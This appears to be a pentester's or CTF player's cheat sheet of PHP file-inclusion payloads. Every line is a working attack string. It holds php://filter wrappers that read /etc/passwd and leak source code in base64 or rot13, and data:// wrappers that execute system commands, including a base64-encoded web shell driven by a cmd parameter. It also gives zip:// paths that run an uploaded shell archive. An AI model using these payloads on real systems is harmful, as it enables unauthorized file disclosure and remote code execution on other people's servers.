php://filter/resource=/etc/passwd
php://filter/resource=index.php
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=index
php://filter/read=string.rot13/resource=index.php
Its important to try with and without the extension
data://text/plain,<?php echo system('whoami');?>"
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=whoami
If you have the ability to upload zip files, the zip:// will unzip and read/execute the file in the zip file
zip:///var/www/html/uploads/shell.zip%23shell.php
zip:///var/www/html/uploads/upload_1725881785.zip%23cmd.php&cmd=id
zip:///var/www/html/uploads/upload_1725881785.zip%23cmd&cmd=id
